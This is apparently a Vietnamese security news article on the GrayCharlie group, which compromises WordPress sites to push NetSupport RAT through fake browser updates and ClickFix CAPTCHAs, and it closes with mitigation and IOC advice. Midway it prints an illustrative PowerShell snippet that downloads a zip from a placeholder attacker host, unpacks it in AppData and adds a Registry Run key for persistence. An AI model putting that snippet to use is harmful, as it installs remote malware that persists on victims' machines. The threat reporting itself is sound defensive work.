Tấn công mạng GrayCharlie: Nguy hiểm mã độc WordPress cần cảnh giác

Kể từ giữa năm 2023, một tác nhân đe dọa được biết đến với tên gọi GrayCharlie đã thực hiện các tấn công mạng nhằm vào các website WordPress. Nhóm này âm thầm nhúng mã JavaScript độc hại để phát tán mã độc tới người dùng truy cập. Các cuộc tấn công mạng này cho thấy sự tinh vi trong việc khai thác người dùng cuối và cơ sở hạ tầng website.
Tổng Quan Về Nhóm Tác Nhân Đe Dọa GrayCharlie
Nhóm GrayCharlie có sự trùng lặp với cụm tác nhân từng được theo dõi trước đây là SmartApeSG, còn được gọi là ZPHP hoặc HANEMONEY. Công cụ chính mà chúng sử dụng là NetSupport RAT, một trojan truy cập từ xa (Remote Access Trojan – RAT). RAT là một loại phần mềm độc hại cho phép kẻ tấn công điều khiển máy tính của nạn nhân từ xa qua mạng, thường bao gồm các chức năng như truy cập tệp, chụp màn hình, ghi lại thao tác bàn phím và thực thi lệnh. NetSupport RAT cho phép kẻ tấn công kiểm soát trực tiếp các máy tính bị lây nhiễm sau một cuộc tấn công mạng thành công.
Ngoài NetSupport RAT, nhóm này còn triển khai Stealc, một phần mềm đánh cắp thông tin (information-stealing malware), và gần đây hơn là SectopRAT. Việc đa dạng hóa payload này mở rộng phạm vi dữ liệu mà kẻ tấn công có thể đánh cắp từ các hệ thống bị xâm nhập thông qua các cuộc tấn công mạng.
Kỹ Thuật Xâm Nhập và Lây Nhiễm
Kỹ thuật cốt lõi của GrayCharlie là chèn một thẻ script vào Mô hình Đối tượng Tài liệu (Document Object Model – DOM) của một trang web WordPress hợp pháp nhưng đã bị xâm nhập. DOM đại diện cho cấu trúc của trang web dưới dạng một cây các đối tượng, cho phép các script tương tác và sửa đổi nội dung, cấu trúc cũng như kiểu dáng của tài liệu. Bằng cách thao tác DOM, kẻ tấn công có thể thay đổi cách trình duyệt hiển thị trang mà không làm thay đổi tệp nguồn ban đầu trên máy chủ.
Thẻ script này trỏ đến một tệp JavaScript bên ngoài được lưu trữ trên các máy chủ do kẻ tấn công kiểm soát. Khi khách truy cập mở trang, script sẽ thực hiện việc phân tích hồ sơ trình duyệt và hệ điều hành của họ. Dựa trên thông tin thu thập được, script quyết định nội dung tiếp theo sẽ hiển thị cho nạn nhân.
Nạn nhân sẽ được trình bày với một trong hai hình thức lừa đảo tinh vi:
- Một bản cập nhật trình duyệt giả mạo rất thuyết phục.
- Một CAPTCHA giả mạo theo kiểu ClickFix, yêu cầu người dùng tương tác.
Cả hai phương pháp này đều được thiết kế để lừa người dùng tự cài đặt hoặc thực thi mã độc mà không hề hay biết, tận dụng sự tin tưởng hoặc thiếu cảnh giác của họ.
Cơ Sở Hạ Tầng và Quản Lý C2
Các nhà phân tích tại Recorded Future đã xác định cơ sở hạ tầng backend của GrayCharlie chủ yếu liên quan đến MivoCloud và HZ Hosting Ltd. Thông tin chi tiết có thể được tìm thấy tại báo cáo của Recorded Future. Các nhà nghiên cứu đã theo dõi hai cụm máy chủ C2 (Command and Control) của NetSupport RAT, mỗi cụm được xác định bởi các mẫu đặt tên chứng chỉ TLS, khóa cấp phép và số serial khác biệt, được triển khai liên tục trong suốt năm 2025.
Nhóm này quản lý các máy chủ C2 thông qua cổng TCP 443 và sử dụng SSH để quản lý các máy chủ staging. Việc này giúp lưu lượng truy cập của chúng trông có vẻ bình thường, gây khó khăn cho việc phát hiện xâm nhập. Các mẫu duyệt web từ cơ sở hạ tầng cấp cao hơn gợi ý rằng ít nhất một số thành viên của GrayCharlie là người nói tiếng Nga.
Ảnh Hưởng và Chuỗi Cung Ứng Bị Tấn Công
Các cuộc tấn công mạng của nhóm này nhắm vào nhiều ngành công nghiệp trên toàn cầu. Tuy nhiên, Hoa Kỳ vẫn là mục tiêu thường xuyên nhất. Ít nhất mười lăm trang web của các công ty luật tại Hoa Kỳ đã bị phát hiện bị chèn JavaScript độc hại tương tự, trỏ đến cùng một tên miền của kẻ tấn công.
Các nhà nghiên cứu tin rằng những công ty luật này đã bị xâm nhập thông qua một cuộc tấn công chuỗi cung ứng (supply-chain attack) liên quan đến SMB Team. Đây là một công ty dịch vụ IT phục vụ nhiều công ty luật trên khắp Bắc Mỹ. Điều này cho thấy khả năng khai thác một điểm yếu chung để ảnh hưởng đến nhiều tổ chức.
Thông tin đăng nhập bị đánh cắp liên quan đến một địa chỉ email của SMB Team đã xuất hiện vào khoảng thời gian tên miền độc hại bắt đầu hoạt động. Điều này gợi ý một điểm xâm nhập ban đầu thông qua tài khoản này, mở đường cho các hoạt động tấn công mạng tiếp theo.
Quy Trình Triển Khai Mã Độc
Khi nạn nhân chạy bản cập nhật giả mạo được kích hoạt bởi JavaScript, tiến trình WScript sẽ khởi tạo PowerShell. PowerShell sau đó thực hiện tải xuống và giải nén toàn bộ client NetSupport RAT vào thư mục AppData của người dùng. Việc này thiết lập một cơ chế lây nhiễm hiệu quả, ẩn mình trong các thư mục hệ thống thông thường.
Chuỗi tấn công ClickFix hoạt động tương tự. Người dùng được hướng dẫn dán một lệnh do kẻ tấn công chuẩn bị vào môi trường CLI hoặc trình duyệt. Lệnh này tải xuống một tệp batch, cài đặt RAT, và ghi một khóa Registry Run để duy trì quyền truy cập (persistence) sau mỗi lần khởi động lại hệ thống, đảm bảo sự hiện diện lâu dài của mã độc.
# Ví dụ lệnh PowerShell để tải và thực thi (giả định)# LƯU Ý: Đây là mã minh họa nhằm mục đích giải thích kỹ thuật, không thực thi trên hệ thống thật.# Mã thực tế có thể khác và thường được che dấu phức tạp hơn.$url = "hxxps://attacker[.]com/malware.zip"$output = "$env:APPDATA\updates\netsupport.zip"$destination = "$env:APPDATA\updates\netsupport_client"# Tạo thư mục cập nhật nếu chưa tồn tạiNew-Item -ItemType Directory -Path "$env:APPDATA\updates" -ErrorAction SilentlyContinue# Tải tệp zip chứa mã độcInvoke-WebRequest -Uri $url -OutFile $output# Giải nén mã độc vào thư mục đíchExpand-Archive -Path $output -DestinationPath $destination -Force# Thêm khóa Registry để duy trì quyền truy cập sau khởi động# LƯU Ý: Khóa Registry này có thể được phát hiện bởi các giải pháp EDR.$regPath = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"$regName = "NetSupportUpdater"$regValue = "$destination\client.exe" # Giả định đường dẫn tệp thực thi của RATSet-ItemProperty -Path $regPath -Name $regName -Value $regValueSau khi thiết lập, các operator của GrayCharlie kết nối qua C2, thực hiện trinh sát hệ thống để thu thập thông tin và có thể triển khai SectopRAT như một payload thứ cấp để mở rộng khả năng đánh cắp dữ liệu hoặc các hoạt động độc hại khác.
Phát Hiện Xâm Nhập và Biện Pháp Giảm Thiểu
Để giảm thiểu rủi ro bị lộ và bảo vệ hệ thống khỏi các cuộc tấn công mạng của GrayCharlie, các đội ngũ bảo mật cần thực hiện nhiều biện pháp chủ động và liên tục. Việc này đòi hỏi sự kết hợp giữa giám sát, phòng ngừa và phản ứng nhanh chóng.
Các biện pháp đề xuất bao gồm:
- Chặn IOCs: Chặn các địa chỉ IP và tên miền đã biết của GrayCharlie tại cấp độ tường lửa, proxy hoặc DNS filter. Điều này ngăn chặn kết nối đến các máy chủ C2 và nguồn phát tán mã độc.
- Triển khai Quy tắc Phát Hiện: Triển khai các quy tắc phát hiện YARA, Snort, và Sigma trong các nền tảng SIEM (Security Information and Event Management) hoặc EDR (Endpoint Detection and Response). Các quy tắc này giúp phát hiện xâm nhập dựa trên các dấu hiệu hành vi, chữ ký tệp, và mẫu lưu lượng mạng đặc trưng của mã độc và các hoạt động của GrayCharlie.
- Giám Sát WordPress: Liên tục giám sát các trang web WordPress để phát hiện bất kỳ sự chèn script DOM trái phép nào. Việc này là cực kỳ quan trọng cho bảo mật WordPress, đặc biệt là việc kiểm tra các thay đổi trong mã nguồn của các plugin, theme và thư mục lõi.
- Cập Nhật và Vá Lỗi: Thực hiện kiểm tra bảo mật định kỳ và cập nhật tất cả các thành phần của WordPress (core, plugins, themes) lên phiên bản mới nhất để vá các lỗ hổng đã biết. Cấu hình bảo mật mạnh mẽ và sử dụng xác thực đa yếu tố cũng là yếu tố then chốt.
Chỉ Số IOCs (Indicators of Compromise) Khuyến Nghị
Mặc dù báo cáo không cung cấp danh sách cụ thể các IOC, các đội ngũ bảo mật nên ưu tiên chặn và giám sát các nguồn đã xác định liên quan đến GrayCharlie một cách chủ động.
Các loại IOC cần theo dõi, chặn và tạo cảnh báo:
- Địa chỉ IP: Các địa chỉ IP của máy chủ C2 và máy chủ lưu trữ mã độc.
- Tên miền: Các tên miền được sử dụng để phân phối mã độc, máy chủ C2 hoặc lừa đảo.
- Hash tệp: Hash SHA256 hoặc MD5 của các biến thể NetSupport RAT, Stealc, và SectopRAT đã biết.
- Quy tắc mạng: Các quy tắc Snort/Suricata để phát hiện xâm nhập và lưu lượng C2 đặc trưng.
- Mẫu Registry: Các khóa Registry được thêm vào để duy trì quyền truy cập.







